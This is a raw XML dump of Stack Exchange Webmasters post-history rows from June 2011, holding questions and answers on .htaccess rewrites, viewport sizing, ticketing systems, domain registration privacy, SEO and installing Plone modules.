  <row Id="34661" PostHistoryTypeId="1" PostId="14750" RevisionGUID="6e14fdfb-1875-4623-a39f-fd30a598e3a1" CreationDate="2011-06-02T23:14:12.383" UserId="7518" Text="Is there something wrong with my .htaccess or is there something wrong server-side?" />
  <row Id="34662" PostHistoryTypeId="3" PostId="14750" RevisionGUID="6e14fdfb-1875-4623-a39f-fd30a598e3a1" CreationDate="2011-06-02T23:14:12.383" UserId="7518" Text="&lt;htaccess&gt;&lt;mod-rewrite&gt;" />
  <row Id="34663" PostHistoryTypeId="2" PostId="14751" RevisionGUID="0912c5cf-eec7-4ed4-b8ea-b12362cb1e84" CreationDate="2011-06-02T23:55:35.280" UserId="3382" Text="So, the most popular notebook resolution is 1366x768. &#xD;&#xA;&#xD;&#xA;The viewport height (the height that is available for the web-site in the browser) depends on the operating system and the browser. For instance, the task-bar of Windows 7 is larger then the one on Windows XP. Also, the &quot;header&quot; of IE6 is larger then the one of Chrome.&#xD;&#xA;&#xD;&#xA;What would be the available viewport height in the worst case scenario? (Maximized browser window on 1366x768)?&#xD;&#xA;&#xD;&#xA;(For Chrome @ Win7 it's 667px.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34664" PostHistoryTypeId="1" PostId="14751" RevisionGUID="0912c5cf-eec7-4ed4-b8ea-b12362cb1e84" CreationDate="2011-06-02T23:55:35.280" UserId="3382" Text="Max height to avoid vertical scrollbar on notebook resolutions" />
  <row Id="34665" PostHistoryTypeId="3" PostId="14751" RevisionGUID="0912c5cf-eec7-4ed4-b8ea-b12362cb1e84" CreationDate="2011-06-02T23:55:35.280" UserId="3382" Text="&lt;browsers&gt;" />
  <row Id="34666" PostHistoryTypeId="25" PostId="14741" RevisionGUID="8c29c239-4677-4891-90ff-5524311b8ee4" CreationDate="2011-06-03T00:13:36.570" Comment="http://twitter.com/#!/StackWebmasters/status/76441363360661505" />
  <row Id="34667" PostHistoryTypeId="2" PostId="14752" RevisionGUID="18f91d54-ee7f-4833-9c63-4be495e8602d" CreationDate="2011-06-03T00:20:40.727" UserId="5641" Text="Been thinking about starting a hosting company through a reseller plan. What's a good F/OSS ticketing system that:&#xD;&#xA;&#xD;&#xA; - securely separates my potential customers (can't have them seeing each other's tickets, even if they guess ticket numbers)&#xD;&#xA; - provides interacting with POP/SMTP so that people can email in a request&#xD;&#xA; - is fairly intuitive&#xD;&#xA; - is PHP-based&#xD;&#xA;&#xD;&#xA;Anyone know from personal experience what they think is the best?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34668" PostHistoryTypeId="1" PostId="14752" RevisionGUID="18f91d54-ee7f-4833-9c63-4be495e8602d" CreationDate="2011-06-03T00:20:40.727" UserId="5641" Text="For hosting resellers, what's a good F/OSS ticketing system?" />
  <row Id="34669" PostHistoryTypeId="3" PostId="14752" RevisionGUID="18f91d54-ee7f-4833-9c63-4be495e8602d" CreationDate="2011-06-03T00:20:40.727" UserId="5641" Text="&lt;web-hosting&gt;&lt;open-source&gt;&lt;ticket-system&gt;" />
  <row Id="34670" PostHistoryTypeId="2" PostId="14753" RevisionGUID="05d2adad-a759-4aa5-be10-1e8c893a8907" CreationDate="2011-06-03T00:26:21.810" UserId="5641" Text="For hosting resellers, what's a good F/OSS live chat system **that interacts with one's mobile phone either via an Android app or SMS chat on a mobile phone**? Preferably PHP-based so that I can change the code of it, perhaps.&#xD;&#xA;" />
  <row Id="34671" PostHistoryTypeId="1" PostId="14753" RevisionGUID="05d2adad-a759-4aa5-be10-1e8c893a8907" CreationDate="2011-06-03T00:26:21.810" UserId="5641" Text="For Hosting Resellers, What's A Good F/OSS Live Chat System?" />
  <row Id="34672" PostHistoryTypeId="3" PostId="14753" RevisionGUID="05d2adad-a759-4aa5-be10-1e8c893a8907" CreationDate="2011-06-03T00:26:21.810" UserId="5641" Text="&lt;web-hosting&gt;&lt;open-source&gt;&lt;chat&gt;&lt;sms&gt;&lt;reseller&gt;" />
  <row Id="34673" PostHistoryTypeId="2" PostId="14754" RevisionGUID="f48b7faa-aaf0-48ef-9e33-bb3cd21b6139" CreationDate="2011-06-03T00:42:58.777" UserId="7369" Text="I noticed the following in [Gandi's terms and conditions for .PRO domains][1]:&#xD;&#xA;&#xD;&#xA;&gt; Once the domain has been registered, you cannot modify the contacts or DNS for 120 days.&#xD;&#xA;&#xD;&#xA;What the heck? How am I supposed to point a .PRO domain at my host then?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.gandi.net/static/contracts/en/pro/pdf/special_conditions_PRO_2.1.pdf" />
  <row Id="34674" PostHistoryTypeId="1" PostId="14754" RevisionGUID="f48b7faa-aaf0-48ef-9e33-bb3cd21b6139" CreationDate="2011-06-03T00:42:58.777" UserId="7369" Text="Registered a .PRO domain, can't change DNS for 120 days?" />
  <row Id="34675" PostHistoryTypeId="3" PostId="14754" RevisionGUID="f48b7faa-aaf0-48ef-9e33-bb3cd21b6139" CreationDate="2011-06-03T00:42:58.777" UserId="7369" Text="&lt;domains&gt;&lt;dns&gt;" />
  <row Id="34676" PostHistoryTypeId="2" PostId="14755" RevisionGUID="ef750be1-56be-464d-8e1a-4b5baa57af71" CreationDate="2011-06-03T01:09:21.633" UserId="829" Text="It also allows the back button to sort of work properly." />
  <row Id="34677" PostHistoryTypeId="2" PostId="14756" RevisionGUID="b7b43ddd-bb5a-4d6e-966e-02bdaa475e16" CreationDate="2011-06-03T01:20:35.883" UserId="5810" Text="If you have installed google analytics on your site, then this is almost definitely how it knows about them.  I don't know the code off the top of my head but if I get a chance later I'll search it out and edit this post but there is code you can put on your pages to prevent crawling on pages you want to be private." />
  <row Id="34678" PostHistoryTypeId="2" PostId="14757" RevisionGUID="aa2fadfc-2819-4833-bbec-d4f169b6dcb2" CreationDate="2011-06-03T01:22:01.263" UserId="5806" Text="If you have heard of toolbars, then you probably know the [worst case scenario is very few pixels][1], if any. I would find something reasonable that you are happy with in terms of design. People can also stretch the Windows task bar to pretty much whatever height they like.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://common.ziffdavisinternet.com/util_get_image/9/0,1425,sz=1&amp;i=96670,00.jpg" />
  <row Id="34679" PostHistoryTypeId="2" PostId="14758" RevisionGUID="e2d0d7f1-7e7c-4873-a0ee-8fd368990ac3" CreationDate="2011-06-03T01:28:33.367" UserId="5806" Text="There is probably not enough information to rule out all possibilities but I would try two things:&#xD;&#xA;&#xD;&#xA;- Add the [L] flag whichs stands for *last rule* which will avoid the recursive evaluation.&#xD;&#xA;- Define your paths more. Particularly the target path could start with a /. This will avoid errors in case you do not use the same paths on both systems. I would also use the ^ and $ special chars to make the rule more specific. Something like:&#xD;&#xA;&#xD;&#xA;&gt; RewriteRule ^(*.)\.png$ /generate.php?userid=$1 [L]" />
  <row Id="34680" PostHistoryTypeId="2" PostId="14759" RevisionGUID="5a44c7e3-43e1-4bd5-a857-ecd2f7e493d1" CreationDate="2011-06-03T01:31:40.060" UserId="3328" Text="I think you may be better off determining via javascript the resolution of the screen and applying heights based on that, or for a no javascript &amp; no vertical scrollbar use percentages on your layouts.&#xD;&#xA;&#xD;&#xA;Trying to code for a specific resolution seems like a much more difficult task than either of the above.&#xD;&#xA;&#xD;&#xA;btw, **Worst Case Scenario** (but @Itai beat me too it)...&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;looks to be about **150px** :)&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/AeeOJ.jpg" />
  <row Id="34681" PostHistoryTypeId="5" PostId="14725" RevisionGUID="c01fa13d-2d52-413d-b55d-7407336d58e3" CreationDate="2011-06-03T02:05:45.673" UserId="1253" Comment="added 201 characters in body" Text="&lt;strike&gt;If you are unsure which is better you should use [A/B testing][1] to figure it out. A/B testing allows you to show both options to your users (some see option A, some see option B) and see which one has a higher conversion rate. [Google's Website Optimizer][2] offers this functionality. &lt;/strike&gt;&#xD;&#xA;&#xD;&#xA;Since it seems that no one has either done this testing, or at least published their results, why not do the testing and post them here so we all can learn from your experience. :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/A/B_testing&#xD;&#xA;  [2]: http://www.google.com/websiteoptimizer" />
  <row Id="34682" PostHistoryTypeId="5" PostId="14753" RevisionGUID="bdf595dc-a479-40b4-bf12-0430ba1af040" CreationDate="2011-06-03T02:12:09.773" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [For hosting resellers, what&amp;#39;s a good F/OSS ticketing system?](http://webmasters.stackexchange.com/questions/14752/for-hosting-resellers-whats-a-good-f-oss-ticketing-system)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;For hosting resellers, what's a good F/OSS live chat system **that interacts with one's mobile phone either via an Android app or SMS chat on a mobile phone**? Preferably PHP-based so that I can change the code of it, perhaps.&#xD;&#xA;" />
  <row Id="34683" PostHistoryTypeId="10" PostId="14753" RevisionGUID="ad396300-0fa6-4044-a28b-74b779f34dba" CreationDate="2011-06-03T02:12:08.543" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="34684" PostHistoryTypeId="6" PostId="14752" RevisionGUID="5c308268-ca7f-49ba-a4e1-c415cc002b6e" CreationDate="2011-06-03T02:12:46.140" UserId="1253" Comment="edited tags" Text="&lt;looking-for-a-script&gt;&lt;open-source&gt;&lt;ticket-system&gt;" />
  <row Id="34685" PostHistoryTypeId="2" PostId="14760" RevisionGUID="c9bbec9e-902a-4cc7-9283-db5563b42c23" CreationDate="2011-06-03T02:15:10.460" UserId="1253" Text="[Hesk][1] isn't open source but it is free. It does all of the above except allow the emailing of a request. I've used it and it is very intuitive to use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hesk.com/" />
  <row Id="34686" PostHistoryTypeId="2" PostId="14761" RevisionGUID="43763a76-ece1-4407-a8e4-4f8eceadc3b8" CreationDate="2011-06-03T02:38:59.043" UserId="1253" Text="If you are hard-linking to these sites and they are on every page, then placing them in an iframe is not a bad idea as it will prevent you from having a lot of external links &quot;draining&quot; PR from your website. (Actually, it's just preventing you from maximizing the PR on your site). The more of pages these are on the better this idea becomes. &#xD;&#xA;&#xD;&#xA;If these links are on only a few pages then it really doesn't matter. Those few external links are really inconsequential.&#xD;&#xA;&#xD;&#xA;If you are using JavaScript code to place like buttons and retweet buttons then you don't need to do anything since search engines won't parse this JavaScript and thus those links will be invisible to them." />
  <row Id="34687" PostHistoryTypeId="25" PostId="14754" RevisionGUID="5f07afac-96e0-4233-8c35-da206ace3d7a" CreationDate="2011-06-03T03:13:37.013" Comment="http://twitter.com/#!/StackWebmasters/status/76486663039229953" />
  <row Id="34688" PostHistoryTypeId="6" PostId="14235" RevisionGUID="e5a2c98a-04f2-4740-bf12-ed7312db539e" CreationDate="2011-06-03T04:18:49.227" UserId="7015" Comment="edited tags" Text="&lt;url&gt;&lt;ruby-on-rails&gt;" />
  <row Id="34689" PostHistoryTypeId="5" PostId="14698" RevisionGUID="5b8ce651-0150-4ce7-9424-6855a919832f" CreationDate="2011-06-03T05:04:48.583" UserId="4306" Comment="deleted chattiness" Text="Google is indexing parts of my site that I haven't linked to, it's a mobile version of website that I'm working on - www.domain.com/m/ &lt;-- note the M.&#xD;&#xA;&#xD;&#xA;How is that even possible? Only thing I can think of is Google getting the URL's from Google Analytics.&#xD;&#xA;&#xD;&#xA;Same problem with my development site, dev.domain.com - This I have fixed by re-enable htpasswd. Had it once, but disabled it for some testing purposes.&#xD;&#xA;&#xD;&#xA;I know I could use robots.txt to skip the indexing, but have always been told - &quot;Don't put super secret stuff in this, as it is public domain&quot;.&#xD;&#xA;&#xD;&#xA;Will Google follow the rules of a `&lt;meta name=&quot;robots&quot; content=&quot;noindex,nofollow&quot;&gt;` ?&#xD;&#xA;Thinking of putting this on the mobile version.&#xD;&#xA;&#xD;&#xA;People accessing www.domain.com from a smartphone is automagicly redirected to the mobile version." />
  <row Id="34690" PostHistoryTypeId="24" PostId="14698" RevisionGUID="5b8ce651-0150-4ce7-9424-6855a919832f" CreationDate="2011-06-03T05:04:48.583" Comment="Proposed by 4306 approved by 1064 edit id of 373" />
  <row Id="34691" PostHistoryTypeId="25" PostId="14739" RevisionGUID="1b508ddb-0234-4282-9911-8145a2ff0e24" CreationDate="2011-06-03T06:13:37.133" Comment="http://twitter.com/#!/StackWebmasters/status/76531964592660480" />
  <row Id="34692" PostHistoryTypeId="2" PostId="14762" RevisionGUID="398f2511-d9d0-442d-b622-40352edf4bf3" CreationDate="2011-06-03T07:02:48.087" UserId="8006" Text="What sort of &quot;Audio stream&quot;? in most cases the &quot;Tune in&quot;/&quot;Live stream&quot; button is just a plain link to a playlist file (.asx, .m3u, ...), handled by the client's mp3 player. Just link to the playlist file and you're done." />
  <row Id="34693" PostHistoryTypeId="2" PostId="14763" RevisionGUID="3cddc19e-6e33-4e89-97bd-beab21650ee7" CreationDate="2011-06-03T08:41:08.567" UserId="5739" Text="We used to use Hesk and still have a licence for it allowing us to remove the &quot;Powered by&quot; in the templates but have now moved to [WHMCS][1] which integrates our billing, ticket system, sales, invoices, account creation, domain registration etc etc. A one stop solution and we don't need to look any further.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.whmcs.com/" />
  <row Id="34694" PostHistoryTypeId="25" PostId="14752" RevisionGUID="a71d49ec-51cf-4f5f-a1bb-72da53daf087" CreationDate="2011-06-03T09:13:37.513" Comment="http://twitter.com/#!/StackWebmasters/status/76577263822438401" />
  <row Id="34695" PostHistoryTypeId="2" PostId="14764" RevisionGUID="b44e74c9-32c1-4450-aadf-21e1d73f8d66" CreationDate="2011-06-03T09:25:16.037" UserId="1643" Text="I would copy Google maps as people are going to be familiar with that. They have the chain icon and the word &quot;link&quot;. Then when you click link you get&#xD;&#xA;&#xD;&#xA;    Paste link in email or IM&#xD;&#xA;    (Text box)&#xD;&#xA;    Paste HTML to embed in website&#xD;&#xA;    (Text box)&#xD;&#xA;    Customise and preview embedded map (link)" />
  <row Id="34696" PostHistoryTypeId="2" PostId="14765" RevisionGUID="0be03421-4108-4670-9131-d22c313e7d79" CreationDate="2011-06-03T09:32:20.330" UserId="8009" Text="Contests and free stuff is the obvious answer. I'm developing an efficient electric heating website and one of our bonuses is for customers to have a trip to the manufacturer's factory (expenses paid) in Spain for a few days...&#xD;&#xA;&#xD;&#xA;Aside from that, if you have solid content, offering a &quot;bit more&quot; via email will probably entice some users, or holding back on a few golden bits of information that can be received via email.&#xD;&#xA;&#xD;&#xA;@Jacob... I'm signed up to endless mailing lists I really don't care about and I just send them straight to my junk/trash can, rather than clicking unsubscribe. Silly habit, just less effort (short term). :D&#xD;&#xA;&#xD;&#xA;Also, afaik, a lot of email clients will 'junk' your mail if they detect newsletter content without an opt-out link, so make sure you include one. " />
  <row Id="34697" PostHistoryTypeId="16" PostId="14765" RevisionGUID="5f9a06de-cd83-4963-9bd9-b6fe4f68e521" CreationDate="2011-06-03T09:32:20.330" UserId="8009" />
  <row Id="34698" PostHistoryTypeId="2" PostId="14766" RevisionGUID="00c1a7c6-2e5a-4a02-9897-a6cb6805372e" CreationDate="2011-06-03T09:40:48.600" UserId="1643" Text="This post, although it's old, tells you how to verify the msnbot:&#xD;&#xA;http://www.bing.com/community/site_blogs/b/search/archive/2006/11/29/search-robots-in-disguise.aspx&#xD;&#xA;&#xD;&#xA;You've done steps 2, 3 and 4 and it all checks out OK, so I think that the user agent doesn't say msnbot may be a mistake on their behalf. When search.live.com became bing they kept the same msnbot user agent, and changed the version number:&#xD;&#xA;&#xD;&#xA;http://www.bing.com/community/site_blogs/b/webmaster/archive/2009/11/04/msnbot-1-1-is-retired.aspx&#xD;&#xA;&#xD;&#xA;I would submit your findings to the [Indexing and Ranking forum][1] and see if you get a response from Microsoft.&#xD;&#xA;&#xD;&#xA;The DNS lookups should enable to you filter out this misbehaving bot though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bing.com/community/webmaster/f/12252.aspx" />
  <row Id="34699" PostHistoryTypeId="5" PostId="14751" RevisionGUID="d0b6a0e1-0e2c-4597-967e-25ec6388e41c" CreationDate="2011-06-03T10:48:00.770" UserId="3382" Comment="added 374 characters in body" Text="So, the most popular notebook resolution is 1366x768. &#xD;&#xA;&#xD;&#xA;The viewport height (the height that is available for the web-site in the browser) depends on the operating system and the browser. For instance, the task-bar of Windows 7 is larger then the one on Windows XP. Also, the &quot;header&quot; of IE6 is larger then the one of Chrome.&#xD;&#xA;&#xD;&#xA;What would be the available viewport height in the worst case scenario? (Maximized browser window on 1366x768)?&#xD;&#xA;&#xD;&#xA;(For Chrome @ Win7 it's 667px.)&#xD;&#xA;&#xD;&#xA;**Update:** I know I should have mentioned those toolbars `:)`. Let me clarify: In real life users have either no additional toolbars at all, or they have one or possibly two additional toolbars at max.&#xD;&#xA;&#xD;&#xA;I will calculate those toolbars in later. For this question I'd like to know the worst case scenario **with no additional toolbars** present inside the browser.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34700" PostHistoryTypeId="17" PostId="14767" RevisionGUID="6dffd6f9-82b6-4eb2-9d6c-840895dd38a4" CreationDate="2011-06-03T11:34:55.887" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/15024/how-to-refresh-server-caching-dynamically-when-we-have-the-web-application-runnin" Text="" />
  <row Id="34701" PostHistoryTypeId="17" PostId="14768" RevisionGUID="7ad462d6-101b-4a96-a1fb-9787d2a198bb" CreationDate="2011-06-03T11:34:55.887" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/15024/how-to-refresh-server-caching-dynamically-when-we-have-the-web-application-runnin" Text="" />
  <row Id="34702" PostHistoryTypeId="2" PostId="14768" RevisionGUID="f2908afa-dbb5-4fe1-a41d-c91084d56862" CreationDate="2011-05-04T10:43:09.573" UserDisplayName="stunti" Text="2 ways to do it I think.&#xD;&#xA;Either the cache become at the cluster level or you have to broadcast the invalidation of an entry to each server.&#xD;&#xA;&#xD;&#xA;I would say there is a 3rd way which could be a centralized database where each invalid key is kept and the server check that database to ensure the key is still valid (but it's a little bit more complex to implement)&#xD;&#xA;&#xD;&#xA;So cache level at the cluster is certainly the easiest but it really depends on why you have the cache server in place (if it's just a replication of the main database then this solution is not valid).&#xD;&#xA;" />
  <row Id="34703" PostHistoryTypeId="2" PostId="14767" RevisionGUID="2c7002ff-c93c-4cd4-8c62-558defc502a8" CreationDate="2011-05-03T05:47:38.100" UserDisplayName="user10612" Text="Consider a typical webapplication which runs on an &#xD;&#xA;application or web server in clustering mode. Let us say we have 3 &#xD;&#xA;nodes in the cluster and the application is running on these 3 nodes &#xD;&#xA;and serving all the user requests. There are some property values that &#xD;&#xA;are stored in database and instead of going to database every single &#xD;&#xA;time this application maintains a cache at server side, at node level, &#xD;&#xA;and stores these property values in the cache and serves the values &#xD;&#xA;from the cache. &#xD;&#xA;&#xD;&#xA;Now we update on of the property value in the database. How do we &#xD;&#xA;ensure that this updated value gets reflected in cache across all the &#xD;&#xA;nodes?" />
  <row Id="34704" PostHistoryTypeId="1" PostId="14767" RevisionGUID="2c7002ff-c93c-4cd4-8c62-558defc502a8" CreationDate="2011-05-03T05:47:38.100" UserDisplayName="user10612" Text="How to refresh server caching dynamically when we have the web application running in clustering environment ?" />
  <row Id="34705" PostHistoryTypeId="3" PostId="14767" RevisionGUID="2c7002ff-c93c-4cd4-8c62-558defc502a8" CreationDate="2011-05-03T05:47:38.100" UserDisplayName="user10612" Text="&lt;web-applications&gt;&lt;web&gt;&lt;java&gt;" />
  <row Id="34706" PostHistoryTypeId="2" PostId="14769" RevisionGUID="96e85df2-7432-4f1f-ae83-403abff06f16" CreationDate="2011-06-03T11:43:26.450" UserId="4461" Text="The question is slightly ambiguous because of the term 'URL' as opposed to being specific about the domain. The URL refers to the **whole** web page address, *including* the domain name (good reference for those who want more: http://warpspire.com/posts/url-design/)&#xD;&#xA;&#xD;&#xA;Most people who optimize sites for a living agree that having your keywords somewhere in the ***URL*** has some benefit in terms of SEO, and that exact match domains, or key-worded domains do fare better (all other things being equal!) than those that don't have keywords in them:&#xD;&#xA;&#xD;&#xA; - http://experimentsinpassiveincome.com/exact-match-domains/&#xD;&#xA;&#xD;&#xA;But it is important to recognise, as Itai mentioned in a comment, that this is likely to diminish over time:&#xD;&#xA;&#xD;&#xA; - http://www.keywordstrategy.org/583/seo-tip-15-exact-match-domains-benefit-future/&#xD;&#xA; - http://www.youtube.com/watch?v=rAWFv43qubI&#xD;&#xA;&#xD;&#xA;In terms of understanding ranking factors (including URLs/Domains), there's a couple of worthy (but not gospel) references:&#xD;&#xA;&#xD;&#xA; - http://www.huomah.com/Search-Engines/Search-Engine-Optimization/Guide-to-Search-Engine-Ranking-Factors.html&#xD;&#xA; - http://www.seomoz.org/article/search-ranking-factors&#xD;&#xA;&#xD;&#xA;It really does come down to [Jon Conde's][1] mantra however:&#xD;&#xA;&#xD;&#xA;&gt; Want to outrank that other site? make sure your site is optimized and then produce great content. Without the great content you'll never get the links you need to outrank the competition.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/14541/does-the-main-url-of-the-website-matter-most-in-google/14585#14585" />
  <row Id="34707" PostHistoryTypeId="2" PostId="14770" RevisionGUID="934d7be1-e62d-437d-8c15-1b0e570c1228" CreationDate="2011-06-03T11:54:34.957" UserId="7941" Text="I have an existing website that is old and html. I'd like to import it into Plone, and make it &quot;Future Proof&quot; thanks to Plone.&#xD;&#xA;&#xD;&#xA;I found on the Plone website which modules could help me with it: FunnelWeb, mr.importer and Collective.xdv. I downloaded and extracted all of them, but now I don't know what I should do with these Folders... It's not on the website and neither in the ReadMe File...&#xD;&#xA;&#xD;&#xA;I'm sorry if it might be a silly question for most of you, but it's too hard for me... ;-)&#xD;&#xA;&#xD;&#xA;Thanks in advance for your help." />
  <row Id="34708" PostHistoryTypeId="1" PostId="14770" RevisionGUID="934d7be1-e62d-437d-8c15-1b0e570c1228" CreationDate="2011-06-03T11:54:34.957" UserId="7941" Text="How can I install a module in Plone 4.0.5?" />
  <row Id="34709" PostHistoryTypeId="3" PostId="14770" RevisionGUID="934d7be1-e62d-437d-8c15-1b0e570c1228" CreationDate="2011-06-03T11:54:34.957" UserId="7941" Text="&lt;html&gt;&lt;web-design&gt;&lt;import&gt;&lt;plone&gt;" />
  <row Id="34710" PostHistoryTypeId="6" PostId="14541" RevisionGUID="6407a898-e9a3-49ce-8545-9ae777d0f7eb" CreationDate="2011-06-03T11:56:42.303" UserId="4461" Comment="added tags" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;&lt;url&gt;" />
  <row Id="34711" PostHistoryTypeId="24" PostId="14541" RevisionGUID="6407a898-e9a3-49ce-8545-9ae777d0f7eb" CreationDate="2011-06-03T11:56:42.303" Comment="Proposed by 4461 approved by 1253 edit id of 374" />
  <row Id="34712" PostHistoryTypeId="2" PostId="14771" RevisionGUID="d2686990-6af8-48e4-b3e4-99ccabc281fc" CreationDate="2011-06-03T12:00:15.893" UserId="1643" Text="This presumes you've installed plone already.&#xD;&#xA;&#xD;&#xA;The instructions for FunnelWeb [say][1]&#xD;&#xA;&#xD;&#xA;&gt; The simplest way to install is via a&#xD;&#xA;&gt; buildout recipe (see zc.buildout)&#xD;&#xA;&#xD;&#xA;    [buildout]&#xD;&#xA;    parts += funnelweb&#xD;&#xA;    &#xD;&#xA;    [funnelweb]&#xD;&#xA;    recipe = funnelweb&#xD;&#xA;    crawler-url=http://www.whitehouse.gov&#xD;&#xA;    ploneupload-target=http://admin:admin@localhost:8080/Plone&#xD;&#xA;    &#xD;&#xA;    $&gt; buildout init&#xD;&#xA;    $&gt; bin/buildout&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For mr.importer, now [charm][2] it says:&#xD;&#xA;&#xD;&#xA;    $ bin/plone run bin/charm /path/to/files&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://plone.org/products/funnelweb&#xD;&#xA;  [2]: http://plone.org/products/charm&#xD;&#xA;&#xD;&#xA;For collective.xdv the instructions are here: http://plone.org/products/collective.xdv/documentation/reference-manual/theming/adding-xdv-to-your-plone-instance" />
  <row Id="34713" PostHistoryTypeId="25" PostId="14770" RevisionGUID="d3ba31b3-2f36-4f4f-b259-94424a303a37" CreationDate="2011-06-03T12:13:37.270" Comment="http://twitter.com/#!/StackWebmasters/status/76622560585990144" />
  <row Id="34714" PostHistoryTypeId="2" PostId="14772" RevisionGUID="5715b8c4-807c-4e85-9f1d-80d9ea70b77b" CreationDate="2011-06-03T12:40:50.147" UserId="2288" Text="Over the years I've seen a number of owner proxy services, but have never used one, and have no idea if they work; or for that matter if there's any legal risk to using them, such as making easier to lose the domain, or drawing the attention of someone for some reason. Also, clearly, there's also the risk of losing the trust of users of the site, but for now, I'm okay with that." />
  <row Id="34715" PostHistoryTypeId="1" PostId="14772" RevisionGUID="5715b8c4-807c-4e85-9f1d-80d9ea70b77b" CreationDate="2011-06-03T12:40:50.147" UserId="2288" Text="How do I register a domain name, but keep who I am secret?" />
  <row Id="34716" PostHistoryTypeId="3" PostId="14772" RevisionGUID="5715b8c4-807c-4e85-9f1d-80d9ea70b77b" CreationDate="2011-06-03T12:40:50.147" UserId="2288" Text="&lt;domains&gt;&lt;domain-registration&gt;" />
  <row Id="34717" PostHistoryTypeId="2" PostId="14773" RevisionGUID="a18eafca-69fc-4b50-895a-fe769283bcec" CreationDate="2011-06-03T12:56:46.567" UserId="7198" Text="Swedish company [PRQ](http://www.prq.se/?intl=1) offers [anonymous domain registration](http://www.prq.se/?p=domains&amp;intl=1) for $40/year. I used to have one domain registered with them to blog safely and anonymously under a pen name. &#xD;&#xA;&#xD;&#xA;They're the company who hosted The Pirate Bay and Wikileaks websites, and have a good track record of not interfering or giving out customer data unless what you're doing contravenes Swedish law, which makes domains and sites hosted with them somewhat resilient to take down orders." />
  <row Id="34718" PostHistoryTypeId="2" PostId="14774" RevisionGUID="5e29b52b-d4e2-4c82-87b3-900f2983538f" CreationDate="2011-06-03T13:03:50.540" UserId="1253" Text="You can also use [Godaddy.com's private registration][1] which costs an extra $9.95 a year.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.godaddy.com/domainaddon/private-registration.aspx?ci=9002" />
  <row Id="34719" PostHistoryTypeId="5" PostId="14773" RevisionGUID="5e32772b-688f-4eb5-853f-88b20fca9b0c" CreationDate="2011-06-03T13:06:03.503" UserId="7198" Comment="added 1136 characters in body" Text="Swedish company [PRQ](http://www.prq.se/?intl=1) offers [anonymous domain registration](http://www.prq.se/?p=domains&amp;intl=1) for $40/year. I used to have one domain registered with them to blog safely and anonymously under a pen name. &#xD;&#xA;&#xD;&#xA;They're the company who hosted The Pirate Bay and Wikileaks websites, and have a good track record of not interfering or giving out customer data unless what you're doing contravenes Swedish law, which makes domains and sites hosted with them somewhat resilient to take down orders.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;The only thing that you need to be aware of is that linking fake, anonymous, or masked information to whois records could waive your rights to the website and its content in a court of law, at least in the U.S. In effect, you are passing the rights to the site and its content to the anonymous or private registrar; they now own your site. From [Wikipedia:](http://en.wikipedia.org/wiki/Domain_privacy) &#xD;&#xA;&#xD;&#xA;&gt; &quot;In a trademark infringement case, a 2009 United States District Court ruling in U.S.A. held that, for domains with “private registration”, the privacy service is legally the “owner” of the domain. The privacy service acts as the “cyber-landlord of the Internet real estate”, and the domain is “licensed” to the customer of the privacy service.&quot;&#xD;&#xA;&#xD;&#xA;This is why some domain privacy services, such as the one from [Dynadot](http://www.dynadot.com/domain/privacy.html), now list your real first and last name at the top of the domain record and mask only your address, email address, and phone number. It ensures you're still offered *some* privacy while being recognised as the legal owner of the domain.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34720" PostHistoryTypeId="2" PostId="14775" RevisionGUID="392a6eaa-d9b1-44fd-8f43-2c0961860ff6" CreationDate="2011-06-03T13:23:37.660" UserId="6835" Text="If I have a page, that has this url:&#xD;&#xA;&#xD;&#xA;- domain.com/category/something/&#xD;&#xA;&#xD;&#xA;but can also be accessed through these urls: &#xD;&#xA;&#xD;&#xA;- domain.com/category/something/1&#xD;&#xA;- domain.com/category/something/2&#xD;&#xA;- domain.com/category/something/3&#xD;&#xA;&#xD;&#xA;where the last number is used as an image-index to display a certain image on the page. So the content of the pages are the same, just with one image changed.&#xD;&#xA;&#xD;&#xA;How do I avoid google indexing the versions with /number at the end, so it only shows up once in searches - and is not considered duplicate content?&#xD;&#xA;&#xD;&#xA;Is it enough to put a rel=&quot;nofollow&quot; on links to the /number links?" />
  <row Id="34721" PostHistoryTypeId="1" PostId="14775" RevisionGUID="392a6eaa-d9b1-44fd-8f43-2c0961860ff6" CreationDate="2011-06-03T13:23:37.660" UserId="6835" Text="Duplicate content - linking to other versions of same page" />
  <row Id="34722" PostHistoryTypeId="3" PostId="14775" RevisionGUID="392a6eaa-d9b1-44fd-8f43-2c0961860ff6" CreationDate="2011-06-03T13:23:37.660" UserId="6835" Text="&lt;seo&gt;&lt;google&gt;&lt;url&gt;" />
